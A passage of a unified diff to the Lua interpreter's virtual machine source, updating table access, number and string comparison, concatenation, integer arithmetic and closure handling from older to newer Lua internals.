lua_Number step; + if (l_unlikely(!tonumber(plimit, &limit))) + luaG_forerror(L, plimit, "limit"); + if (l_unlikely(!tonumber(pstep, &step))) + luaG_forerror(L, pstep, "step"); + if (l_unlikely(!tonumber(pinit, &init))) + luaG_forerror(L, pinit, "initial value"); + if (step == 0) + luaG_runerror(L, "'for' step is zero"); + if (luai_numlt(0, step) ? luai_numlt(limit, init) + : luai_numlt(init, limit)) + return 1; /* skip the loop */ + else { + /* make sure internal values are all floats */ + setfltvalue(plimit, limit); + setfltvalue(pstep, step); + setfltvalue(s2v(ra), init); /* internal index */ + setfltvalue(s2v(ra + 3), init); /* control variable */ + } + } + return 0; +} + + +/* +** Execute a step of a float numerical for loop, returning +** true iff the loop must continue. (The integer case is +** written online with opcode OP_FORLOOP, for performance.) +*/ +static int floatforloop(StkId ra) { + lua_Number step = fltvalue(s2v(ra + 2)); + lua_Number limit = fltvalue(s2v(ra + 1)); + lua_Number idx = fltvalue(s2v(ra)); /* internal index */ + idx = luai_numadd(L, idx, step); /* increment index */ + if (luai_numlt(0, step) ? luai_numle(idx, limit) + : luai_numle(limit, idx)) { + chgfltvalue(s2v(ra), idx); /* update internal index */ + setfltvalue(s2v(ra + 3), idx); /* and control variable */ + return 1; /* jump back */ + } else + return 0; /* finish the loop */ +} + + +/* +** Finish the table access 'val = t[key]'. +** if 'slot' is NULL, 't' is not a table; otherwise, 'slot' points to +** t[k] entry (which must be empty). +*/ +void luaV_finishget(lua_State *L, const TValue *t, TValue *key, StkId val, + const TValue *slot) { + int loop; /* counter to avoid infinite loops */ + const TValue *tm; /* metamethod */ for (loop = 0; loop < MAXTAGLOOP; loop++) { - const TValue *tm; - if (ttistable(t)) { /* `t' is a table? */ - Table *h = hvalue(t); - const TValue *res = luaH_get(h, key); /* do a primitive get */ - if (!ttisnil(res) || /* result is not nil? */ - (tm = fasttm(L, h->metatable, TM_INDEX)) == NULL) { /* or no TM? */ - setobj2s(L, val, res); + if (slot == NULL) { /* 't' is not a table? */ + lua_assert(!ttistable(t)); + tm = luaT_gettmbyobj(L, t, TM_INDEX); + if (l_unlikely(notm(tm))) + luaG_typeerror(L, t, "index"); /* no metamethod */ + /* else will try the metamethod */ + } else { /* 't' is a table */ + lua_assert(isempty(slot)); + tm = fasttm(L, hvalue(t)->metatable, TM_INDEX); /* table's metamethod */ + if (tm == NULL) { /* no metamethod? */ + setnilvalue(s2v(val)); /* result is nil */ return; } - /* else will try the tag method */ - } else if (ttisnil(tm = luaT_gettmbyobj(L, t, TM_INDEX))) - luaG_typeerror(L, t, "index"); - if (ttisfunction(tm)) { - callTM(L, tm, t, key, val, 1); + /* else will try the metamethod */ + } + if (ttisfunction(tm)) { /* is metamethod a function? */ + luaT_callTMres(L, tm, t, key, val); /* call it */ return; } - t = tm; /* else repeat with 'tm' */ + t = tm; /* else try to access 'tm[key]' */ + if (luaV_fastget(L, t, key, slot, luaH_get)) { /* fast track? */ + setobj2s(L, val, slot); /* done */ + return; + } + /* else repeat (tail call 'luaV_finishget') */ } - luaG_runerror(L, "loop in gettable"); + luaG_runerror(L, "'__index' chain too long; possible loop"); } -void luaV_settable(lua_State *L, const TValue *t, TValue *key, StkId val) { - int loop; +/* +** Finish a table assignment 't[key] = val'. +** If 'slot' is NULL, 't' is not a table. Otherwise, 'slot' points +** to the entry 't[key]', or to a value with an absent key if there +** is no such entry. (The value at 'slot' must be empty, otherwise +** 'luaV_fastget' would have done the job.) +*/ +void luaV_finishset(lua_State *L, const TValue *t, TValue *key, + TValue *val, const TValue *slot) { + int loop; /* counter to avoid infinite loops */ for (loop = 0; loop < MAXTAGLOOP; loop++) { - const TValue *tm; - if (ttistable(t)) { /* `t' is a table? */ - Table *h = hvalue(t); - TValue *oldval = cast(TValue *, luaH_get(h, key)); - /* if previous value is not nil, there must be a previous entry - in the table; moreover, a metamethod has no relevance */ - if (!ttisnil(oldval) || - /* previous value is nil; must check the metamethod */ - ((tm = fasttm(L, h->metatable, TM_NEWINDEX)) == NULL && - /* no metamethod; is there a previous entry in the table? */ - (oldval != luaO_nilobject || - /* no previous entry; must create one. (The next test is - always true; we only need the assignment.) */ - (oldval = luaH_newkey(L, h, key), 1)))) { - /* no metamethod and (now) there is an entry with given key */ - setobj2t(L, oldval, val); /* assign new value to that entry */ + const TValue *tm; /* '__newindex' metamethod */ + if (slot != NULL) { /* is 't' a table? */ + Table *h = hvalue(t); /* save 't' table */ + lua_assert(isempty(slot)); /* slot must be empty */ + tm = fasttm(L, h->metatable, TM_NEWINDEX); /* get metamethod */ + if (tm == NULL) { /* no metamethod? */ + luaH_finishset(L, h, key, slot, val); /* set new value */ invalidateTMcache(h); luaC_barrierback(L, obj2gco(h), val); return; } /* else will try the metamethod */ - } else /* not a table; check metamethod */ - if (ttisnil(tm = luaT_gettmbyobj(L, t, TM_NEWINDEX))) + } else { /* not a table; check metamethod */ + tm = luaT_gettmbyobj(L, t, TM_NEWINDEX); + if (l_unlikely(notm(tm))) luaG_typeerror(L, t, "index"); - /* there is a metamethod */ + } + /* try the metamethod */ if (ttisfunction(tm)) { - callTM(L, tm, t, key, val, 0); + luaT_callTM(L, tm, t, key, val); return; } - t = tm; /* else repeat with 'tm' */ - } - luaG_runerror(L, "loop in settable"); -} - - -static int call_binTM(lua_State *L, const TValue *p1, const TValue *p2, - StkId res, TMS event) { - const TValue *tm = luaT_gettmbyobj(L, p1, event); /* try first operand */ - if (ttisnil(tm)) - tm = luaT_gettmbyobj(L, p2, event); /* try second operand */ - if (ttisnil(tm)) return 0; - callTM(L, tm, p1, p2, res, 1); - return 1; -} - - -static const TValue *get_equalTM(lua_State *L, Table *mt1, Table *mt2, - TMS event) { - const TValue *tm1 = fasttm(L, mt1, event); - const TValue *tm2; - if (tm1 == NULL) return NULL; /* no metamethod */ - if (mt1 == mt2) return tm1; /* same metatables => same metamethods */ - tm2 = fasttm(L, mt2, event); - if (tm2 == NULL) return NULL; /* no metamethod */ - if (luaV_rawequalobj(tm1, tm2)) /* same metamethods? */ - return tm1; - return NULL; -} - - -static int call_orderTM(lua_State *L, const TValue *p1, const TValue *p2, - TMS event) { - if (!call_binTM(L, p1, p2, L->top, event)) - return -1; /* no metamethod */ - else - return !l_isfalse(L->top); -} - - -static int l_strcmp(const TString *ls, const TString *rs) { - const char *l = getstr(ls); - size_t ll = ls->tsv.len; - const char *r = getstr(rs); - size_t lr = rs->tsv.len; - for (;;) { - int temp = strcoll(l, r); - if (temp != 0) return temp; - else { /* strings are equal up to a `\0' */ - size_t len = strlen(l); /* index of first `\0' in both strings */ - if (len == lr) /* r is finished? */ - return (len == ll) ? 0 : 1; - else if (len == ll) /* l is finished? */ - return -1; /* l is smaller than r (because r is not finished) */ - /* both strings longer than `len'; go on comparing (after the `\0') */ - len++; - l += len; - ll -= len; - r += len; - lr -= len; + t = tm; /* else repeat assignment over 'tm' */ + if (luaV_fastget(L, t, key, slot, luaH_get)) { + luaV_finishfastset(L, t, slot, val); + return; /* done */ } + /* else 'return luaV_finishset(L, t, key, val, slot)' (loop) */ } -} - - -int luaV_lessthan(lua_State *L, const TValue *l, const TValue *r) { - int res; - if (ttisnumber(l) && ttisnumber(r)) - return luai_numlt(L, nvalue(l), nvalue(r)); - else if (ttisstring(l) && ttisstring(r)) - return l_strcmp(rawtsvalue(l), rawtsvalue(r)) < 0; - else if ((res = call_orderTM(L, l, r, TM_LT)) < 0) - luaG_ordererror(L, l, r); - return res; -} - - -int luaV_lessequal(lua_State *L, const TValue *l, const TValue *r) { - int res; - if (ttisnumber(l) && ttisnumber(r)) - return luai_numle(L, nvalue(l), nvalue(r)); - else if (ttisstring(l) && ttisstring(r)) - return l_strcmp(rawtsvalue(l), rawtsvalue(r)) <= 0; - else if ((res = call_orderTM(L, l, r, TM_LE)) >= 0) /* first try `le' */ - return res; - else if ((res = call_orderTM(L, r, l, TM_LT)) < 0) /* else try `lt' */ - luaG_ordererror(L, l, r); - return !res; + luaG_runerror(L, "'__newindex' chain too long; possible loop"); } /* -** equality of Lua values. L == NULL means raw equality (no metamethods) +** Compare two strings 'ts1' x 'ts2', returning an integer less-equal- +** -greater than zero if 'ts1' is less-equal-greater than 'ts2'. +** The code is a little tricky because it allows '\0' in the strings +** and it uses 'strcoll' (to respect locales) for each segment +** of the strings. Note that segments can compare equal but still +** have different lengths. */ -int luaV_equalobj_(lua_State *L, const TValue *t1, const TValue *t2) { - const TValue *tm; - lua_assert(ttisequal(t1, t2)); - switch (ttype(t1)) { - case LUA_TNIL: - return 1; - case LUA_TNUMBER: - return luai_numeq(nvalue(t1), nvalue(t2)); - case LUA_TBOOLEAN: - return bvalue(t1) == bvalue(t2); /* true must be 1 !! */ - case LUA_TLIGHTUSERDATA: - return pvalue(t1) == pvalue(t2); - case LUA_TLCF: - return fvalue(t1) == fvalue(t2); - case LUA_TSHRSTR: - return eqshrstr(rawtsvalue(t1), rawtsvalue(t2)); - case LUA_TLNGSTR: - return luaS_eqlngstr(rawtsvalue(t1), rawtsvalue(t2)); - case LUA_TUSERDATA: { - if (uvalue(t1) == uvalue(t2)) return 1; - else if (L == NULL) return 0; - tm = get_equalTM(L, uvalue(t1)->metatable, uvalue(t2)->metatable, TM_EQ); - break; /* will try TM */ +static int l_strcmp(const TString *ts1, const TString *ts2) { + const char *s1 = getstr(ts1); + size_t rl1 = tsslen(ts1); /* real length */ + const char *s2 = getstr(ts2); + size_t rl2 = tsslen(ts2); + for (;;) { /* for each segment */ + int temp = strcoll(s1, s2); + if (temp != 0) /* not equal? */ + return temp; /* done */ + else { /* strings are equal up to a '\0' */ + size_t zl1 = strlen(s1); /* index of first '\0' in 's1' */ + size_t zl2 = strlen(s2); /* index of first '\0' in 's2' */ + if (zl2 == rl2) /* 's2' is finished? */ + return (zl1 == rl1) ? 0 : 1; /* check 's1' */ + else if (zl1 == rl1) /* 's1' is finished? */ + return -1; /* 's1' is less than 's2' ('s2' is not finished) */ + /* both strings longer than 'zl'; go on comparing after the '\0' */ + zl1++; + zl2++; + s1 += zl1; + rl1 -= zl1; + s2 += zl2; + rl2 -= zl2; } - case LUA_TTABLE: { - if (hvalue(t1) == hvalue(t2)) return 1; - else if (L == NULL) return 0; - tm = get_equalTM(L, hvalue(t1)->metatable, hvalue(t2)->metatable, TM_EQ); - break; /* will try TM */ - } - default: - lua_assert(iscollectable(t1)); - return gcvalue(t1) == gcvalue(t2); } - if (tm == NULL) return 0; /* no TM? */ - callTM(L, tm, t1, t2, L->top, 1); /* call TM */ - return !l_isfalse(L->top); } -void luaV_concat(lua_State *L, int total) { - lua_assert(total >= 2); +/* +** Check whether integer 'i' is less than float 'f'. If 'i' has an +** exact representation as a float ('l_intfitsf'), compare numbers as +** floats. Otherwise, use the equivalence 'i < f <=> i < ceil(f)'. +** If 'ceil(f)' is out of integer range, either 'f' is greater than +** all integers or less than all integers. +** (The test with 'l_intfitsf' is only for performance; the else +** case is correct for all values, but it is slow due to the conversion +** from float to int.) +** When 'f' is NaN, comparisons must result in false. +*/ +l_sinline int LTintfloat(lua_Integer i, lua_Number f) { + if (l_intfitsf(i)) + return luai_numlt(cast_num(i), f); /* compare them as floats */ + else { /* i < f <=> i < ceil(f) */ + lua_Integer fi; + if (luaV_flttointeger(f, &fi, F2Iceil)) /* fi = ceil(f) */ + return i < fi; /* compare them as integers */ + else /* 'f' is either greater or less than all integers */ + return f > 0; /* greater? */ + } +} + + +/* +** Check whether integer 'i' is less than or equal to float 'f'. +** See comments on previous function. +*/ +l_sinline int LEintfloat(lua_Integer i, lua_Number f) { + if (l_intfitsf(i)) + return luai_numle(cast_num(i), f); /* compare them as floats */ + else { /* i <= f <=> i <= floor(f) */ + lua_Integer fi; + if (luaV_flttointeger(f, &fi, F2Ifloor)) /* fi = floor(f) */ + return i <= fi; /* compare them as integers */ + else /* 'f' is either greater or less than all integers */ + return f > 0; /* greater? */ + } +} + + +/* +** Check whether float 'f' is less than integer 'i'. +** See comments on previous function. +*/ +l_sinline int LTfloatint(lua_Number f, lua_Integer i) { + if (l_intfitsf(i)) + return luai_numlt(f, cast_num(i)); /* compare them as floats */ + else { /* f < i <=> floor(f) < i */ + lua_Integer fi; + if (luaV_flttointeger(f, &fi, F2Ifloor)) /* fi = floor(f) */ + return fi < i; /* compare them as integers */ + else /* 'f' is either greater or less than all integers */ + return f < 0; /* less? */ + } +} + + +/* +** Check whether float 'f' is less than or equal to integer 'i'. +** See comments on previous function. +*/ +l_sinline int LEfloatint(lua_Number f, lua_Integer i) { + if (l_intfitsf(i)) + return luai_numle(f, cast_num(i)); /* compare them as floats */ + else { /* f <= i <=> ceil(f) <= i */ + lua_Integer fi; + if (luaV_flttointeger(f, &fi, F2Iceil)) /* fi = ceil(f) */ + return fi <= i; /* compare them as integers */ + else /* 'f' is either greater or less than all integers */ + return f < 0; /* less? */ + } +} + + +/* +** Return 'l < r', for numbers. +*/ +l_sinline int LTnum(const TValue *l, const TValue *r) { + lua_assert(ttisnumber(l) && ttisnumber(r)); + if (ttisinteger(l)) { + lua_Integer li = ivalue(l); + if (ttisinteger(r)) + return li < ivalue(r); /* both are integers */ + else /* 'l' is int and 'r' is float */ + return LTintfloat(li, fltvalue(r)); /* l < r ? */ + } else { + lua_Number lf = fltvalue(l); /* 'l' must be float */ + if (ttisfloat(r)) + return luai_numlt(lf, fltvalue(r)); /* both are float */ + else /* 'l' is float and 'r' is int */ + return LTfloatint(lf, ivalue(r)); + } +} + + +/* +** Return 'l <= r', for numbers. +*/ +l_sinline int LEnum(const TValue *l, const TValue *r) { + lua_assert(ttisnumber(l) && ttisnumber(r)); + if (ttisinteger(l)) { + lua_Integer li = ivalue(l); + if (ttisinteger(r)) + return li <= ivalue(r); /* both are integers */ + else /* 'l' is int and 'r' is float */ + return LEintfloat(li, fltvalue(r)); /* l <= r ? */ + } else { + lua_Number lf = fltvalue(l); /* 'l' must be float */ + if (ttisfloat(r)) + return luai_numle(lf, fltvalue(r)); /* both are float */ + else /* 'l' is float and 'r' is int */ + return LEfloatint(lf, ivalue(r)); + } +} + + +/* +** return 'l < r' for non-numbers. +*/ +static int lessthanothers(lua_State *L, const TValue *l, const TValue *r) { + lua_assert(!ttisnumber(l) || !ttisnumber(r)); + if (ttisstring(l) && ttisstring(r)) /* both are strings? */ + return l_strcmp(tsvalue(l), tsvalue(r)) < 0; + else + return luaT_callorderTM(L, l, r, TM_LT); +} + + +/* +** Main operation less than; return 'l < r'. +*/ +int luaV_lessthan(lua_State *L, const TValue *l, const TValue *r) { + if (ttisnumber(l) && ttisnumber(r)) /* both operands are numbers? */ + return LTnum(l, r); + else return lessthanothers(L, l, r); +} + + +/* +** return 'l <= r' for non-numbers. +*/ +static int lessequalothers(lua_State *L, const TValue *l, const TValue *r) { + lua_assert(!ttisnumber(l) || !ttisnumber(r)); + if (ttisstring(l) && ttisstring(r)) /* both are strings? */ + return l_strcmp(tsvalue(l), tsvalue(r)) <= 0; + else + return luaT_callorderTM(L, l, r, TM_LE); +} + + +/* +** Main operation less than or equal to; return 'l <= r'. +*/ +int luaV_lessequal(lua_State *L, const TValue *l, const TValue *r) { + if (ttisnumber(l) && ttisnumber(r)) /* both operands are numbers? */ + return LEnum(l, r); + else return lessequalothers(L, l, r); +} + + +/* +** Main operation for equality of Lua values; return 't1 == t2'. +** L == NULL means raw equality (no metamethods) +*/ +int luaV_equalobj(lua_State *L, const TValue *t1, const TValue *t2) { + const TValue *tm; + if (ttypetag(t1) != ttypetag(t2)) { /* not the same variant? */ + if (ttype(t1) != ttype(t2) || ttype(t1) != LUA_TNUMBER) + return 0; /* only numbers can be equal with different variants */ + else { /* two numbers with different variants */ + /* One of them is an integer. If the other does not have an + integer value, they cannot be equal; otherwise, compare their + integer values. */ + lua_Integer i1, i2; + return (luaV_tointegerns(t1, &i1, F2Ieq) && + luaV_tointegerns(t2, &i2, F2Ieq) && + i1 == i2); + } + } + /* values have same type and same variant */ + switch (ttypetag(t1)) { + case LUA_VNIL: + case LUA_VFALSE: + case LUA_VTRUE: + return 1; + case LUA_VNUMINT: + return (ivalue(t1) == ivalue(t2)); + case LUA_VNUMFLT: + return luai_numeq(fltvalue(t1), fltvalue(t2)); + case LUA_VLIGHTUSERDATA: + return pvalue(t1) == pvalue(t2); + case LUA_VLCF: + return fvalue(t1) == fvalue(t2); + case LUA_VSHRSTR: + return eqshrstr(tsvalue(t1), tsvalue(t2)); + case LUA_VLNGSTR: + return luaS_eqlngstr(tsvalue(t1), tsvalue(t2)); + case LUA_VUSERDATA: { + if (uvalue(t1) == uvalue(t2)) return 1; + else if (L == NULL) return 0; + tm = fasttm(L, uvalue(t1)->metatable, TM_EQ); + if (tm == NULL) + tm = fasttm(L, uvalue(t2)->metatable, TM_EQ); + break; /* will try TM */ + } + case LUA_VTABLE: { + if (hvalue(t1) == hvalue(t2)) return 1; + else if (L == NULL) return 0; + tm = fasttm(L, hvalue(t1)->metatable, TM_EQ); + if (tm == NULL) + tm = fasttm(L, hvalue(t2)->metatable, TM_EQ); + break; /* will try TM */ + } + default: + return gcvalue(t1) == gcvalue(t2); + } + if (tm == NULL) /* no TM? */ + return 0; /* objects are different */ + else { + luaT_callTMres(L, tm, t1, t2, L->top.p); /* call TM */ + return !l_isfalse(s2v(L->top.p)); + } +} + + +/* macro used by 'luaV_concat' to ensure that element at 'o' is a string */ +#define tostring(L,o) \ + (ttisstring(o) || (cvt2str(o) && (luaO_tostring(L, o), 1))) + +#define isemptystr(o) (ttisshrstring(o) && tsvalue(o)->shrlen == 0) + +/* copy strings in stack from top - n up to top - 1 to buffer */ +static void copy2buff(StkId top, int n, char *buff) { + size_t tl = 0; /* size already copied */ do { - StkId top = L->top; + TString *st = tsvalue(s2v(top - n)); + size_t l = tsslen(st); /* length of string being copied */ + memcpy(buff + tl, getstr(st), l * sizeof(char)); + tl += l; + } while (--n > 0); +} + + +/* +** Main operation for concatenation: concat 'total' values in the stack, +** from 'L->top.p - total' up to 'L->top.p - 1'. +*/ +void luaV_concat(lua_State *L, int total) { + if (total == 1) + return; /* "all" values already concatenated */ + do { + StkId top = L->top.p; int n = 2; /* number of elements handled in this pass (at least 2) */ - if (!(ttisstring(top - 2) || ttisnumber(top - 2)) || !tostring(L, top - 1)) { - if (!call_binTM(L, top - 2, top - 1, top - 2, TM_CONCAT)) - luaG_concaterror(L, top - 2, top - 1); - } else if (tsvalue(top - 1)->len == 0) /* second operand is empty? */ - (void)tostring(L, top - 2); /* result is first operand */ - else if (ttisstring(top - 2) && tsvalue(top - 2)->len == 0) { + if (!(ttisstring(s2v(top - 2)) || cvt2str(s2v(top - 2))) || + !tostring(L, s2v(top - 1))) + luaT_tryconcatTM(L); /* may invalidate 'top' */ + else if (isemptystr(s2v(top - 1))) /* second operand is empty? */ + cast_void(tostring(L, s2v(top - 2))); /* result is first operand */ + else if (isemptystr(s2v(top - 2))) { /* first operand is empty string? */ setobjs2s(L, top - 2, top - 1); /* result is second op. */ } else { /* at least two non-empty string values; get as many as possible */ - size_t tl = tsvalue(top - 1)->len; - char *buffer; - int i; - /* collect total length */ - for (i = 1; i < total && tostring(L, top - i - 1); i++) { - size_t l = tsvalue(top - i - 1)->len; - if (l >= (MAX_SIZET / sizeof(char)) - tl) + size_t tl = tsslen(tsvalue(s2v(top - 1))); + TString *ts; + /* collect total length and number of strings */ + for (n = 1; n < total && tostring(L, s2v(top - n - 1)); n++) { + size_t l = tsslen(tsvalue(s2v(top - n - 1))); + if (l_unlikely(l >= MAX_SIZE - sizeof(TString) - tl)) { + L->top.p = top - total; /* pop strings to avoid wasting stack */ luaG_runerror(L, "string length overflow"); + } tl += l; } - buffer = luaZ_openspace(L, &G(L)->buff, tl); - tl = 0; - n = i; - do { /* concat all strings */ - size_t l = tsvalue(top - i)->len; - memcpy(buffer + tl, svalue(top - i), l * sizeof(char)); - tl += l; - } while (--i > 0); - setsvalue2s(L, top - n, luaS_newlstr(L, buffer, tl)); + if (tl <= LUAI_MAXSHORTLEN) { /* is result a short string? */ + char buff[LUAI_MAXSHORTLEN]; + copy2buff(top, n, buff); /* copy strings to buffer */ + ts = luaS_newlstr(L, buff, tl); + } else { /* long string; copy strings directly to final result */ + ts = luaS_createlngstrobj(L, tl); + copy2buff(top, n, getlngstr(ts)); + } + setsvalue2s(L, top - n, ts); /* create result */ } - total -= n - 1; /* got 'n' strings to create 1 new */ - L->top -= n - 1; /* popped 'n' strings and pushed one */ + total -= n - 1; /* got 'n' strings to create one new */ + L->top.p -= n - 1; /* popped 'n' strings and pushed one */ } while (total > 1); /* repeat until only 1 result left */ } +/* +** Main operation 'ra = #rb'. +*/ void luaV_objlen(lua_State *L, StkId ra, const TValue *rb) { const TValue *tm; - switch (ttypenv(rb)) { - case LUA_TTABLE: { + switch (ttypetag(rb)) { + case LUA_VTABLE: { Table *h = hvalue(rb); tm = fasttm(L, h->metatable, TM_LEN); if (tm) break; /* metamethod? break switch to call it */ - setnvalue(ra, cast_num(luaH_getn(h))); /* else primitive len */ + setivalue(s2v(ra), luaH_getn(h)); /* else primitive len */ return; } - case LUA_TSTRING: { - setnvalue(ra, cast_num(tsvalue(rb)->len)); + case LUA_VSHRSTR: { + setivalue(s2v(ra), tsvalue(rb)->shrlen); + return; + } + case LUA_VLNGSTR: { + setivalue(s2v(ra), tsvalue(rb)->u.lnglen); return; } default: { /* try metamethod */ tm = luaT_gettmbyobj(L, rb, TM_LEN); - if (ttisnil(tm)) /* no metamethod? */ + if (l_unlikely(notm(tm))) /* no metamethod? */ luaG_typeerror(L, rb, "get length of"); break; } } - callTM(L, tm, rb, rb, ra, 1); -} - - -void luaV_arith(lua_State *L, StkId ra, const TValue *rb, - const TValue *rc, TMS op) { - TValue tempb, tempc; - const TValue *b, *c; - if ((b = luaV_tonumber(rb, &tempb)) != NULL && - (c = luaV_tonumber(rc, &tempc)) != NULL) { - lua_Number res = luaO_arith(op - TM_ADD + LUA_OPADD, nvalue(b), nvalue(c)); - setnvalue(ra, res); - } else if (!call_binTM(L, rb, rc, ra, op)) - luaG_aritherror(L, rb, rc); + luaT_callTMres(L, tm, rb, rb, ra); } /* -** check whether cached closure in prototype 'p' may be reused, that is, -** whether there is a cached closure with the same upvalues needed by -** new closure to be created. +** Integer division; return 'm // n', that is, floor(m/n). +** C division truncates its result (rounds towards zero). +** 'floor(q) == trunc(q)' when 'q >= 0' or when 'q' is integer, +** otherwise 'floor(q) == trunc(q) - 1'. */ -static Closure *getcached(Proto *p, UpVal **encup, StkId base) { - Closure *c = p->cache; - if (c != NULL) { /* is there a cached closure? */ - int nup = p->sizeupvalues; - Upvaldesc *uv = p->upvalues; - int i; - for (i = 0; i < nup; i++) { /* check whether it has right upvalues */ - TValue *v = uv[i].instack ? base + uv[i].idx : encup[uv[i].idx]->v; - if (c->l.upvals[i]->v != v) - return NULL; /* wrong upvalue; cannot reuse closure */ - } +lua_Integer luaV_idiv(lua_State *L, lua_Integer m, lua_Integer n) { + if (l_unlikely(l_castS2U(n) + 1u <= 1u)) { /* special cases: -1 or 0 */ + if (n == 0) + luaG_runerror(L, "attempt to divide by zero"); + return intop(-, 0, m); /* n==-1; avoid overflow with 0x80000...//-1 */ + } else { + lua_Integer q = m / n; /* perform C division */ + if ((m ^ n) < 0 && m % n != 0) /* 'm/n' would be negative non-integer? */ + q -= 1; /* correct result for different rounding */ + return q; + } +} + + +/* +** Integer modulus; return 'm % n'. (Assume that C '%' with +** negative operands follows C99 behavior. See previous comment +** about luaV_idiv.) +*/ +lua_Integer luaV_mod(lua_State *L, lua_Integer m, lua_Integer n) { + if (l_unlikely(l_castS2U(n) + 1u <= 1u)) { /* special cases: -1 or 0 */ + if (n == 0) + luaG_runerror(L, "attempt to perform 'n%%0'"); + return 0; /* m % -1 == 0; avoid overflow with 0x80000...%-1 */ + } else { + lua_Integer r = m % n; + if (r != 0 && (r ^ n) < 0) /* 'm/n' would be non-integer negative? */ + r += n; /* correct result for different rounding */ + return r; + } +} + + +/* +** Float modulus +*/ +lua_Number luaV_modf(lua_State *L, lua_Number m, lua_Number n) { + lua_Number r; + luai_nummod(L, m, n, r); + return r; +} + + +/* number of bits in an integer */ +#define NBITS cast_int(sizeof(lua_Integer) * CHAR_BIT) + + +/* +** Shift left operation. (Shift right just negates 'y'.) +*/ +lua_Integer luaV_shiftl(lua_Integer x, lua_Integer y) { + if (y < 0) { /* shift right? */ + if (y <= -NBITS) return 0; + else return intop( >>, x, -y); + } else { /* shift left */ + if (y >= NBITS) return 0; + else return intop( <<, x, y); } - return c; /* return cached closure (or NULL if no cached closure) */ } /* ** create a new Lua closure, push it in the stack, and initialize -** its upvalues. Note that the call to 'luaC_barrierproto' must come -** before the assignment to 'p->cache', as the function needs the -** original value of that field. +** its upvalues. */ static void pushclosure(lua_State *L, Proto *p, UpVal **encup, StkId base, StkId ra) { int nup = p->sizeupvalues; Upvaldesc *uv = p->upvalues; int i; - Closure *ncl = luaF_newLclosure(L, nup); - ncl->l.p = p; - setclLvalue(L, ra, ncl); /* anchor new closure in stack */ + LClosure *ncl = luaF_newLclosure(L, nup); + ncl->p = p; + setclLvalue2s(L, ra, ncl); /* anchor new closure in stack */ for (i = 0; i < nup; i++) { /* fill in its upvalues */ if (uv[i].instack) /* upvalue refers to local variable? */ - ncl->l.upvals[i] = luaF_findupval(L, base + uv[i].idx); + ncl->upvals[i] = luaF_findupval(L, base + uv[i].idx); else /* get upvalue from enclosing function */ - ncl->l.upvals[i] = encup[uv[i].idx]; + ncl->upvals[i] = encup[uv[i].idx]; + luaC_objbarrier(L, ncl, ncl->upvals[i]); } - luaC_barrierproto(L, p, ncl); - p->cache = ncl; /* save it on cache for reuse */ } /* -** finish execution of an opcode interrupted by an yield +** finish execution of an opcode interrupted by a yield */ void luaV_finishOp(lua_State *L) { CallInfo *ci = L->ci; - StkId base = ci->u.l.base; + StkId base = ci->func.p + 1; Instruction inst = *(ci->u.l.savedpc - 1); /* interrupted instruction */ OpCode op = GET_OPCODE(inst); switch (op) { /* finish its execution */ - case OP_ADD: - case OP_SUB: - case OP_MUL: - case OP_DIV: - case OP_MOD: - case OP_POW: + case OP_MMBIN: + case OP_MMBINI: + case OP_MMBINK: { + setobjs2s(L, base + GETARG_A(*(ci->u.l.savedpc - 2)), --L->top.p); + break; + } case OP_UNM: + case OP_BNOT: case OP_LEN: case OP_GETTABUP: case OP_GETTABLE: + case OP_GETI: + case OP_GETFIELD: case OP_SELF: { - setobjs2s(L, base + GETARG_A(inst), --L->top); + setobjs2s(L, base + GETARG_A(inst), --L->top.p); break; } - case OP_LE: case OP_LT: - case OP_EQ: { - int res = !l_isfalse(L->top - 1); - L->top--; - /* metamethod should not be called when operand is K */ - lua_assert(!ISK(GETARG_B(inst))); - if (op == OP_LE && /* "<=" using "<" instead? */ - ttisnil(luaT_gettmbyobj(L, base + GETARG_B(inst), TM_LE))) - res = !res; /* invert result */ + case OP_LE: + case OP_LTI: + case OP_LEI: + case OP_GTI: + case OP_GEI: + case OP_EQ: { /* note that 'OP_EQI'/'OP_EQK' cannot yield */ + int res = !l_isfalse(s2v(L->top.p - 1)); + L->top.p--; +#if defined(LUA_COMPAT_LT_LE) + if (ci->callstatus & CIST_LEQ) { /* "<=" using "<" instead? */ + ci->callstatus ^= CIST_LEQ; /* clear mark */ + res = !res; /* negate result */ + } +#endif lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_JMP); - if (res != GETARG_A(inst)) /* condition failed? */ + if (res != GETARG_k(inst)) /* condition failed? */ ci->u.l.savedpc++; /* skip jump instruction */ break; } case OP_CONCAT: { - StkId top = L->top - 1; /* top when 'call_binTM' was called */ - int b = GETARG_B(inst); /* first element to concatenate */ - int total = cast_int(top - 1 - (base + b)); /* yet to concatenate */ - setobj2s(L, top - 2, top); /* put TM result in proper position */ - if (total > 1) { /* are there elements to concat? */ - L->top = top - 1; /* top is one after last element (at top-2) */ - luaV_concat(L, total); /* concat them (may yield again) */ - } - /* move final result to final position */ - setobj2s(L, ci->u.l.base + GETARG_A(inst), L->top - 1); - L->top = ci->top; /* restore top */ + StkId top = L->top.p - 1; /* top when 'luaT_tryconcatTM' was called */ + int a = GETARG_A(inst); /* first element to concatenate */ + int total = cast_int(top - 1 - (base + a)); /* yet to concatenate */ + setobjs2s(L, top - 2, top); /* put TM result in proper position */ + L->top.p = top - 1; /* top is one after last element (at top-2) */ + luaV_concat(L, total); /* concat them (may yield again) */ break; } - case OP_TFORCALL: { - lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_TFORLOOP); - L->top = ci->top; /* correct top */ + case OP_CLOSE: { /* yielded closing variables */ + ci->u.l.savedpc--; /* repeat instruction to close other vars. */ break; } - case OP_CALL: { - if (GETARG_C(inst) - 1 >= 0) /* nresults >= 0? */ - L->top = ci->top; /* adjust results */ + case OP_RETURN: { /* yielded closing variables */ + StkId ra = base + GETARG_A(inst); + /* adjust top to signal correct number of returns, in case the + return is "up to top" ('isIT') */ + L->top.p = ra + ci->u2.nres; + /* repeat instruction to close other vars. and complete the return */ + ci->u.l.savedpc--; break; } - case OP_TAILCALL: - case OP_SETTABUP: - case OP_SETTABLE: + default: { + /* only these other opcodes can yield */ + lua_assert(op == OP_TFORCALL || op == OP_CALL || + op == OP_TAILCALL || op == OP_SETTABUP || op == OP_SETTABLE || + op == OP_SETI || op == OP_SETFIELD); break; - default: - lua_assert(0); + } } } + /* -** some macros for common tasks in `luaV_execute' +** {================================================================== +** Macros for arithmetic/bitwise/comparison opcodes in 'luaV_execute' +** =================================================================== */ -#if !defined luai_runtimecheck -#define luai_runtimecheck(L, c) /* void */ -#endif +#define l_addi(L,a,b) intop(+, a, b) +#define l_subi(L,a,b) intop(-, a, b) +#define 